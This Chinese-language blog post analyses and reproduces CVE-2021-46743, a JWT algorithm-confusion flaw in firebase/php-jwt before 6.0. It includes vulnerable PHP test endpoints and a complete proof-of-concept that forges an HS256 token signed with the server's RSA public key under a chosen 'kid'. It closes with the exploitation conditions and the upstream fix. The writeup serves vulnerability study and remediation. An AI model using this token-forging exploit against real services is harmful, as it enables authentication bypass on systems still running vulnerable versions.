firebase/php-jwt库的引入加密混淆问题CVE-2021-46743
前言:今天偶然看到的关于php-jwt库的重新引入加密混淆问题CVE-2021-46743,这里简单的记录下
参考文章:https://github.com/firebase/php-jwt/issues/351
参考文章:https://github.com/firebase/php-jwt/pull/365
什么是jwt
参考文章:http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.htm
php-jwt库的重新引入加密混淆问题
这里通过https://github.com/firebase/php-jwt/issues/351可以了解相关详情
这里搭建的php-jwt版本为5.4.0,经过测试影响的版本应该在6.0之前都存在影响
问题出在文件JWT.php的decode方法中,如下所示
主要的问题就是对于jwt中的kid字段进行了重新校验,而在jwt中我们的kid字段是可控的,这就导致了重新引入了加密混淆的问题
kid字段的作用是一个可选的报头,如权利要求其保持的密钥标识符,当有多个键来签署该令牌是特别有用的并且需要查找正确的验证签名,简单的说就是如果服务端存在多个加密算法验证的类型,那么我们可以通过kid来进行指定对应的验证方法
下面写法会导致问题出现,首先还需要知道hs256和rs256所对应的主键值以及rs256对应的公钥
<?php $decoded = JWT::decode( $attackerControlledString, [ 'galdalf0' => '256-bit key goes here', 'legolas1' => 'RSA public key goes here' ], ['RS256', 'HS256'] );
漏洞复现
HS256的jwt请求接口
if (isset($_GET['token'])) { try { $decoded = JWT::decode( $_GET['token'], KeyManagement::auto()->getJwtVerifyingKeyIdMap(), ['HS256'] ); } catch (Throwable $ex) { echo json_encode([ 'status' => 'FAIL', 'token' => $_GET['token'], 'ex' => $ex->getMessage(), 'trace' => $ex->getTrace(), ]); exit; } if (!empty($decoded)) { echo json_encode([ 'status' => isset($decoded->pwned) ? 'Exploit Successful!' : 'Decoded Successful', 'pieces' => $decoded ]); exit; } } echo json_encode( [ 'token' => JWT::encode( [ 'sub' => 'firebase-php-jwt-proof-of-concept.pie-hosted.com', 'third-party' => 'foo-bar' ], KeyManagement::auto()->getJwtSigningKeyForAlg('HS256'), 'HS256', 'gandalf0' ) ], JSON_PRETTY_PRINT );
rs256的请求接口
if (isset($_GET['token'])) { try { $decoded = JWT::decode( $_GET['token'], KeyManagement::auto()->getJwtVerifyingKeyIdMap(), ['RS256'] ); } catch (Throwable $ex) { echo json_encode([ 'status' => 'FAIL', 'token' => $_GET['token'], 'ex' => $ex->getMessage(), 'trace' => $ex->getTrace(), ]); exit; } if (!empty($decoded)) { echo json_encode([ 'status' => 'OK', 'pieces' => $decoded ]); exit; } } echo json_encode( [ 'token' => JWT::encode( [ 'sub' => 'firebase-php-jwt-proof-of-concept.pie-hosted.com', 'user-id' => 'admin001' ], KeyManagement::auto()->getJwtSigningKeyForAlg('RS256'), 'RS256', 'legolas1' ), 'public-key' => KeyManagement::auto()->getJwtVerifyingKeyIdMap()['legolas1'] ], JSON_PRETTY_PRINT );
通过请求rs256.php的时候会返回一个token以及对应的rs256公钥,并且这里指定的是$key为legolas1,如下图所示
接着拿着这个rsa的公钥进行请求hs256接口进行jwt伪造,这里需要指定kid为legolas1
$step2 = JWT::encode( [ 'pwned' => 'very yes', 'firebase' => 'pH too high' ], $pk, 'HS256', 'legolas1' // wrong key id!!! );
发送验证可以看到,已经成功进行签名验证了
poc参考地址:https://github.com/firebase/php-jwt/files/6966712/php-jwt-poc.zip
// Step 1: Fetch a token and public key $step1 = fetch_json($baseurl . '/rs256.php', []); if (empty($step1['token']) || empty($step1['public-key'])) { throw new Exception('Invalid response. Is the demo server online?'); } $token = $step1['token']; $pk = $step1['public-key']; // You can replay this token against itself: // $test = fetch_json($baseurl . '/rs256.php', ['token' => $token]); // Step 2: Forge a token using the public key, but wrong key ID $step2 = JWT::encode( [ 'pwned' => 'very yes', 'firebase' => 'pH too high' ], $pk, 'HS256', 'legolas1' // wrong key id!!! ); var_dump($step2); // Step 3: Pwn; $step3 = fetch_json($baseurl . '/hs256.php', ['token' => $step2]); var_dump($step3);
最终导致走的是hs256验证,但是因为"kid": "legolas1"判断的是legolas1(rs256),从而$key拿到的是rs256的公钥
最终verify验证的时候hash_hmac验证的时候用的是rs256的公钥作为hash_hmac的密钥来进行验证
总结下php-jwt中最主要的问题就是kid导致可控又再次引入了密钥混淆攻击的问题,如果要利用的话需要满足如下条件
-
开发者写法中需要提供多个形式的kid,我们需要已知有什么类型的数组形式的kid
-
开发者当前jwt验证是通过非对称加密来进行验证的,需要知道非对称加密的公钥
修复手段
参考地址:https://github.com/firebase/php-jwt/pull/365
在进行解密的时候提供new Key的操作,直接进行对应的绑定kid,然后添加了一个判断jwt的alg和当前要解密的算法是否相同来防止加密混淆
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2020-01-14 实现:ipc管道连接到远程计划任务种马
2020-01-14 实现:ipc命名管道连接